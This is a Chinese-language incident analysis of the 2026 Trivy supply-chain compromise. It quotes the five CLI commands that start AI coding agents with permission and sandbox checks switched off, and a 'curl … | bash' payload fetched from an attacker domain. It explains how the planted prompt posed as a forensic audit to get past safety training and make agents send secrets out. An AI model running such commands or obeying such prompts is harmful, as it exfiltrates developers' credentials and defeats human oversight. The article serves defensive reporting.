
Trivy 供应链入侵事件投放的是一段提示词,而非窃密程序
- Orca新OrcaCyber: GLM 5.3 Abliterated / Uncensored2026-11-04$3.00 / $5.00 每百万 tokens · 64 tok/s
- Orca新OrcaCyber: Hy4 Abliterated / Uncensored2026-11-04$0.80 / $1.60 每百万 tokens · 109 tok/s
- orca新Orca: OrcaC2 1.02026-10-303 tok/s
- Orca新OrcaCyber: MiniMax M3.1 Flash Abliterated / Uncensored2026-10-29$0.80 / $1.60 每百万 tokens · 99 tok/s
- Orca新OrcaCyber: GLM 5.3 Flash Abliterated / Uncensored2026-10-27$0.80 / $1.60 每百万 tokens · 106 tok/s
- Orca新OrcaCyber: Qwen3.8 Flash Next Abliterated / Uncensored2026-10-26$0.80 / $1.60 每百万 tokens · 117 tok/s
- Orca新OrcaCyber: MiMo V2.6 Flash Abliterated / Uncensored2026-10-26$0.80 / $1.60 每百万 tokens · 60 tok/s
- Moonshot新MoonshotAI: Kimi K3.1 Pro2026-10-2446智能
- Orca新OrcaCyber: DeepSeek V4.1 Flash Abliterated / Uncensored2026-10-23$0.80 / $1.60 每百万 tokens · 86 tok/s
- minimaxMiniMax: M3.1 Flash2026-10-1929智能
- OrcaOrca: OrcaCyber Ultra 1.02026-10-17$5.00 / $10.00 每百万 tokens · 105 tok/s
- deepseekDeepSeek: DeepSeek V4.1 Flash 10172026-10-1733智能
- DeepSeekDeepSeek: DeepSeek V4.1 Flash2026-10-1740智能
- OrcaOrca: OrcaCyber Zero 1.52026-10-10$3.00 / $7.50 每百万 tokens · 61 tok/s
- openaiOpenAI: GPT-6.1 Sol2026-09-2955智能
- anthropicAnthropic: Claude Sonnet 5.52026-09-2854智能
- typesafeTypeSafe: Jev 1.132026-09-24$0.04 / $0.00 每百万 tokens · 180 tok/s
- OpenAIOpenAI: GPT-6 Luna2026-09-2228智能
- OpenAIOpenAI: GPT-6 Sol2026-09-2244智能
- AnthropicAnthropic: Claude Opus 5.52026-09-2258智能
2026年2月27日至3月2日期间,一个自称 hackerbot-claw 的自主 GitHub 账号接管了 Trivy 背后的仓库。Trivy 是一款开源漏洞扫描器,CI 流水线在交付容器镜像前通常会运行它。在同一时间窗口内,Trivy VS Code 扩展的两个构建版本出现在 OpenVSX 注册表中该扩展的官方命名空间下,而且它们并未携带常规的信息窃取程序。它们携带了约2,000词的英文指令,指示开发者已安装的任意一款 AI 编码助手——Claude Code、Codex、Gemini CLI、GitHub Copilot CLI 或 Kiro CLI——以取证检查员身份调查该机器,并通过其能够触及的每一个渠道将发现推送出去。尚未发现成功外泄的迹象。该档案将此事件记录为高严重性供应链事件,记录了实际危害,置信等级为 A,且无争议标记,并将其归入Orca AI Incident Archive中,日期精确到日,为2026年3月2日。
版本 1.8.12 和 1.8.13 里实际上包含什么内容?
扫描软件包与扩展注册表的 Socket 在自行发现这些产物后,于 2026 年 3 月 2 日发布了这项分析。该扩展的 1.8.12 和 1.8.13 版本分别于 2 月 27 日 12:04 UTC 和 2 月 28 日 16:28 UTC 以命名空间 aquasecurityofficial.trivy-vulnerability-scanner 发布到 OpenVSX,其中包含的代码并未出现在公开的 aquasecurity/trivy-vscode-extension 仓库或任何带标签的发行版中,Socket 报告称。截至 1.8.11(含)的所有版本均与公开源码一致,并且本地构建的 1.8.11 与 OpenVSX 上的产物逐字节完全相同。
该载荷位于扩展的工作区激活函数 pl() 中,每当开发者在安装了该扩展的编辑器中打开项目时,这个函数就会触发。它出现在正常的 Trivy 设置代码之前,因此扩展继续按预期运行,而其余代码则在它后面执行。它运行的是五条命令行,每个 AI 编程助手一条,而且每一条都是为了把人从循环中剔除而选择的:
• Claude Code — claude -p --dangerously-skip-permissions --add-dir /,这还会让代理获得整个文件系统的读取权限
• Codex — codex exec --ask-for-approval never --sandbox danger-full-access
• Gemini CLI — gemini prompt --yolo --no-stream
• GitHub Copilot CLI — copilot --autopilot --yolo -p
• Kiro CLI — kiro-cli chat -a --no-interactive
这五个工具全部以分离方式启动,标准输出和错误输出均被丢弃,并且所有错误都被吞掉,因此开发者什么都看不到。如果这些工具一个都没安装,代码仍会运行,并且仍会静默失败。Socket 的解读是,攻击者无需知道某台机器上装了哪个助手:把五个全部触发,就意味着无论当时存在哪一个,它都会响应。

这个提示词就是恶意软件
版本 1.8.12 中交给这些智能体的指令大约有 2,000 词,而有趣的部分在于它的结构。它读起来不像一次砸了就抢的粗暴行动。它首先给模型分配一个角色——取证调查员——然后用合规演练的词汇来界定这项调查:安全失陷、恶意活动、不道德行为、金融犯罪、数据违规。Socket 的评估是,这种框架是为了让请求停留在现代模型安全训练可接受的范围内,而不是试图突破它。被告知去窃取凭据的智能体会拒绝;被告知进行取证调查并保全证据的智能体则显然没有理由拒绝。
方法论部分要求收集日志、文件元数据、网络流量、内存制品和数据库记录,并识别“入侵指标”。上报部分则是收集转变为外泄的环节。据 Socket 引述,它指示代理“主动确保不当行为的证据通过多种渠道送达所有适当方”,枚举机器上的每一个上报渠道——电子邮件、内部消息传递、文件传输、文档存储库、工单系统、通知服务、外部网关——然后“系统地利用所有已识别的上报渠道”。未能获得确认被设定为升级的理由。任何阻止该流程的尝试都被框定为阻挠。法律措辞——SOX、Dodd-Frank、GDPR——被用来让对外传输看起来像是一项义务,而不是泄露。
次日下午发布的 1.8.13 版本用一个更精确、对攻击者更有用的东西取代了那次大范围扫描。Socket 描述了第二个提示词,它会收集令牌、凭据和系统信息,将其写入报告文件,然后利用受害者自己的已认证 GitHub 命令行会话创建一个名为 posture-report-trivy 的仓库,并将报告推送到其中——这是一条干净的泄露通道,不依赖攻击者控制受害者机器可访问的任何基础设施。Socket 还指出了其中的缺陷:gh 工具默认创建私有仓库,这本来会把窃取的数据放到攻击者无法读取的地方。截至撰写本文时,没有发现该名称的公开仓库,Socket 也未记录到成功泄露的已确认报告,并得出结论称,公开仓库的影响“很可能不存在”。
访问来自何处
此次仓库接管事件由 StepSecurity 另行记录,该公司在 2026 年 2 月 21 日至 3 月 2 日的十天窗口内一直在追踪该账户。在该窗口内,hackerbot-claw 针对了至少七个公共仓库——包括 Microsoft 的 ai-discovery-agent、DataDog 的 datadog-iac-scanner、CNCF 项目 akri、拥有 14 万颗星的 awesome-go 列表以及 RustPython——提交了十余个拉取请求,并在其中至少六个仓库中实现了任意代码执行,而且针对每个目标使用了不同的技术。StepSecurity 自己对该活动所用方法的描述包括分支名注入、文件名注入,以及一个 Go init()函数,该函数在程序真正入口点之前运行。
Trivy 是第七个目标,也是唯一一个仓库本身沦陷的目标。2 月 28 日 03:28 UTC,该账号通过拉取请求 #10254 触发了 Trivy 的“API Diff Check”工作流。该工作流运行在 pull_request_target 上,这种触发器会把目标仓库的机密和权限交给工作流,同时检出拉取请求作者的代码——StepSecurity 将这种模式称为“pwn request”。构建日志显示,载荷 curl -sSfL hackmoltrepeat.com/molt | bash 在“Set up Go”步骤中执行。十九分钟后,即 03:47 UTC,从该次运行中窃取的个人访问令牌被用于将提交 d267cc4 直接推送到仓库,完全绕过了拉取请求流程。
根据 Aqua Security 的事件披露以及 StepSecurity 对此的还原,随后发生的情况是:该仓库被设为私有并重命名,从 0.27.0 到 0.69.1 的所有 GitHub 发布版本连同其资产和讨论均被删除,README 被覆盖为一条嘲讽信息,并且一个可疑制品被发布到 OpenVSX 上的 VS Code 扩展。Aqua 在拉取请求 #10259 中移除了被利用的工作流,撤销了用于发布该扩展的令牌,恢复了仓库并重新发布了 v0.69.2。
关于该行为者,有两个细节值得单独拿出来说。第一点是它的自我描述:这个 GitHub 账号自称是"由 claude-opus-4-5 驱动的自主安全研究代理",并公开征集加密货币捐款。这只是该账号自己的说法,而非任何调查者的发现;本文所审视的所有分析文章都没有核实究竟是哪个模型(如果有的话)在完成这些工作。第二点是,同一个账号当时已经在直接攻击 AI 系统。2 月 28 日 05:26 UTC,它向 ambient-code/platform 提交了第 732 号拉取请求,其中夹带了 AI 提示注入,StepSecurity 的记录显示该注入被 Claude 检测到。操纵 AI 审查者和操纵 AI 编程助手,是同一种手法指向两个不同的目标,而到那一周结束时,该账号已经把两者都用上了。
三周后,一个普通的窃贼
2月的入侵只是记录的前半部分,而后半部分正是“sustained”一词应出现在其标题中的原因。Aqua于2026年3月1日披露了先前的事件,并开始轮换凭据。根据公司后来以GHSA-69fq-xp46-6x23发布的公告,那次轮换“并非原子操作”——并非所有凭据都在同一时间被撤销——攻击者可能利用仍然有效的令牌,在持续数天的窗口期内提取出新轮换的机密。
3月19日约17:43 UTC,同一访问再次被使用,且无需任何受害者采取任何行动。攻击者强制推送了77个版本标签中的76个(位于aquasecurity/trivy-action),以及全部七个标签(位于aquasecurity/setup-trivy),推送至恶意提交。由于CI流水线通常通过标签而非提交哈希引用工作流,数千条未更改过一行配置的流水线开始执行攻击者的代码。恶意版本v0.69.4通过遭入侵的aqua-bot服务账号发布,并通过GHCR、ECR Public、Docker Hub、deb和rpm包以及get.trivy.dev分发。
此载荷很常规。注入的 entrypoint.sh共有 204 行,其中前一百行是信息窃取程序,其余部分是合法的 Trivy 扫描,因此工作流仍会产生其正常输出。在 GitHub 托管的运行器上,它会转储 Runner.Worker 进程内存,方法是借助 /proc/<pid>/mem,并用 grep 查找 GitHub Actions 用于保存机密的内部 JSON 结构。在自托管运行器上,它会遍历五十多个文件系统路径,寻找 SSH 密钥、云凭据、Kubernetes 令牌、Docker 配置、数据库密码、VPN 配置和加密货币钱包。窃取到的数据使用 AES-256-CBC 加密,会话密钥由内嵌的 RSA-4096 公钥封装,随后被发送到仿冒域名 scan.aquasecurtiy.org。如果此举失败且流水线暴露了个人访问令牌,该载荷会创建一个名为 tpcp-docs 的公共仓库,该仓库位于受害者自己的账户上,并将该数据包作为发布资产上传到那里。

Aqua 在约三小时内控制了 3 月 19 日的发布事件,并于次日发布了安全版本。3 月 22 日,攻击者再次出现,又增加了两个 Docker Hub 镜像 0.69.5 和 0.69.6,并使用另外被盗的 Docker Hub 凭据直接推送到注册表,而非通过 GitHub,同时还将 Aqua 内部仓库未经授权公开为公共仓库。该恶意软件在代码注释中自称为“TeamPCP Cloud stealer”,Aqua 的公告点名 TeamPCP——在其他地方被追踪为 DeadCatx3、PCPcat 和 ShellForce——同时指出这种自我标注可能是假旗。
随后于3月23日发布了漏洞记录:CVE-2026-33634,由作为 CNA 的 GitHub 分配,在 CVSS 4.0 中被评为 9.4 分严重级别,涉及 Trivy 0.69.4、0.35.0 之前的 trivy-action、0.2.6 之前的 setup-trivy、LiteLLM 1.82.7 至 1.82.8 以及 Telnyx 4.87.1 至 4.87.2。CISA 于3月26日将其加入已知被利用漏洞目录,修复截止日期为2026年4月9日。Wiz Research 另行发现 Checkmarx 的 kics-github-action 也遭到平行入侵,Aqua 的公告将此事与同一活动关联起来。
记录在下游列出了什么
Trend Micro 于 2026 年 4 月 9 日发布的文章是对该攻击链最详细的公开还原,且给出的时间精确到分钟。Checkmarx KICS:3 月 23 日 12:53 UTC,OpenVSX 上出现一个恶意版本,至 15:41 已被移除,checkmarx/kics-github-action 的全部 35 个标签在 12:58 至约 16:50 期间被重写。LiteLLM:3 月 24 日 10:39 UTC,PyPI 上出现 1.82.7,10:52 随后出现 1.82.8,该版本添加了一个 .pth 文件,使得无论是否启动代理,代码都会在 Python 启动时运行;该版本约在 16:00 前被移除。Telnyx:3 月 27 日 03:51 UTC,PyPI 上出现 4.87.1 和 4.87.2,十六分钟后消失,并回连到一个裸 IP 地址而非域名。
Trend Micro 将这三者都关联到共享基础设施,以及 Trivy 载荷中使用的同一把 RSA-4096 密钥。新加坡网络安全局在咨询公告 AD-2026-001 中列出了同一组对象——Trivy、LiteLLM、Checkmarx 的 OpenVSX 扩展和 Actions、五个 npm 命名空间以及 Telnyx——作为“正在进行的 TeamPCP 供应链行动”的组成部分。
Axios 是记录中列出、但这两个来源并未将其归入同一集合的那一个。Trend Micro 确实在同一篇文章中涵盖了它,但放在一个明确称其为不同攻击轴的标题下:3 月 31 日 00:21 至 03:25 UTC 期间,npm 上的 axios 1.14.1 和 0.30.4 通过新增的一行依赖被入侵,该依赖拉入了 plain-crypto-js 4.2.1,其 postinstall 脚本在开发者机器上运行了 setup.js。CSA 公告的组件列表不包括 Axios。该档案的摘要将其与其余项目归为一组;公开记录支持技术上的相似性,但不支持已发布的、将其归因于同一操作者的结论。
哪些已经确立,哪些尚未确立
已确认且有多个来源佐证:两个 OpenVSX 构建确实存在,其内容已公开,并且在 Socket 联系了 Aqua 和持有发布者账户的个人之后,它们于 2 月 28 日被移除。五条命令行在 Socket 的分析中被逐字引用。Trivy 仓库被接管、发布版本被删除、3 月 19 日的标签投毒以及 3 月 22 日的 Docker Hub 镜像,均分别出现在一份供应商公告、一份独立研究报告中,以及至少一份政府公告中。CVE-2026-33634 及其 KEV 收录均为有记录可查的事项。
尚未证实:任何开发者确实因该扩展程序而遭到入侵。该代码旨在窃取数据,并且其构建方式使其即使缺少任何单个助手也能存活,但 Socket 没有找到以预期名称命名的公开代码库,也没有确认的报告表明数据曾离开某台机器,并明确说明了这一点。安装了 1.8.12 或 1.8.13 的开发者人数并未公开。在 3 月 19 日至 20 日期间,其流水线运行过被投毒标签的组织数量也未公开,尽管 CISA 的 KEV 截止期限意味着该机构认为利用是真实存在的,而非理论上的。
归因链也存在一个缺口。Aqua 的公告将 3 月 19 日的攻击描述为 2 月入侵的延续,并称其借助残留凭据得以实施。StepSecurity 曾详细记录 2 月入侵,其将攻击者命名为 hackerbot-claw,并未将其与 TeamPCP 关联。Aqua 和 Wiz 将 3 月的活动归因于 TeamPCP。此处审阅的任何来源都未说明这两个名称是同一操作者,档案也未作此断言。记录所支持的是:针对同一生态系统的一场持续行动,至少包含两个不同阶段——2 月下旬一次由 AI 驱动的入侵,以及三周后一次工业化凭据收割——以及一个共同的受害者,而不必是同一只手。
扩展事件背后还存在一个较小的矛盾之处。Socket 将这两个构建的时间分别定为 2 月 27 日和 28 日,并将其发布归因于一名 Aqua 前员工持有的发布者令牌,该员工在接到联系后撤销了该令牌。StepSecurity 则将“一个被推送到 VS Code 扩展的可疑构件”列为使用被盗 GitHub 令牌所采取的行动之一。这两者描述的是不同的凭据。1.8.12 版本也是在 2 月 27 日 12:04 UTC 上线的,比 StepSecurity 记录的 2 月 28 日 03:28 UTC 的令牌失窃早了约十五个小时。两家公司均未发布任何调和说明,本文也不臆造一个。

之后发生了什么变化
具体修复方案已有文档记录。Aqua 的公告列出了安全版本——Trivy 0.69.2 或 0.69.3、trivy-action 0.35.0、setup-trivy 0.2.6——并告知任何可能运行过受影响制品的人,应将从该流水线可触达的每一个密钥都视为已泄露并进行轮换。由于攻击者的强制推送导致旧的 trivy-action 标签被 GitHub 记录为不可变发布,原始名称无法重新创建;该项目以 v 前缀重新发布了这些标签,因此 aquasecurity/[email protected] 现在指向 @0.34.0 过去所指的内容。其中三个标签 v0.0.10、v0.34.1 和 v0.34.2 在公告最后一次修订时尚未恢复。Aqua 还聘请了事件响应公司 Sygnia 进行取证,并表示其商业平台在架构上与开源构建系统隔离,因此恶意发布从未进入该平台。
最具普遍适用性的教训关乎不可变性,而它与那种显而易见的防御思路相悖。Trivy 0.69.3 之所以安全,是因为 GitHub 的不可变发布功能已于 3 月 3 日启用,早于该版本发布;trivy-action 0.35.0 之所以安全,是因为该功能已于 3 月 4 日在那里启用。但 Aqua 的公告指出,GitHub 的发布界面也在那些被投毒的标签旁显示了“Immutable”徽章,因为攻击者在强制推送这些标签后又发布了不可变版本。这个徽章没有向防御者传递任何信息。固定到完整的提交 SHA 是唯一有效的控制措施,这也是 Aqua 和 Trend Micro 共同建议的做法。
Trend Micro 的指导建议不止于固定版本,它还针对问题中与 AI 无关的那一部分。它建议设置发布冷却期,使新发布的包版本不会被立即使用——npm 的 min-release-age、pnpm 的 minimumReleaseAge、uv 的 exclude-newer、Bun 的 minimumReleaseAge,以及 pip 的 uploaded-prior-to——理由是,在这场活动中,大多数恶意版本存活了数小时而非数天。锁文件、更窄的版本范围、出站过滤,以及对 curl 等工具的执行控制,都在清单上。
就记录中 OpenVSX 的部分而言,回应范围更窄。在 Socket 首次联系后约七小时内,两个构建版本被移除,发布者令牌被撤销,安全公告 GHSA-8mr6-gf9x-j8qg 于 2 月 27 日针对 1.8.12 版本发布,严重级别为 critical,没有已修补版本,GitHub 于 3 月 5 日分配了 CVE-2026-28353。Socket 还报告了关于该公告的一个进一步细节:Aqua 后来告诉该公司,该公告是由参与此次事件的同一个机器人创建的。攻击者为自己的制品提交安全公告,与其说是缓解失败,不如说是提醒人们:拥有仓库访问权限的入侵者能够触达多大范围的响应面。
没有改变的是最重要的部分。五个命令行工具仍然带有一些标志,其目的就是在无需人工介入的情况下运行,而开发者机器上的任何程序都可以用这些标志调用它们。Socket 在结尾给出的观察,才是能超越具体版本号而依然成立的那一点:这里的恶意意图是用自然语言表达的,而不是硬编码的端点,而这恰恰是基于签名的扫描最不擅长检测的。这个扩展被发现,并不是因为它做了扫描器能识别的事情,而是因为一名研究人员读了提示词。
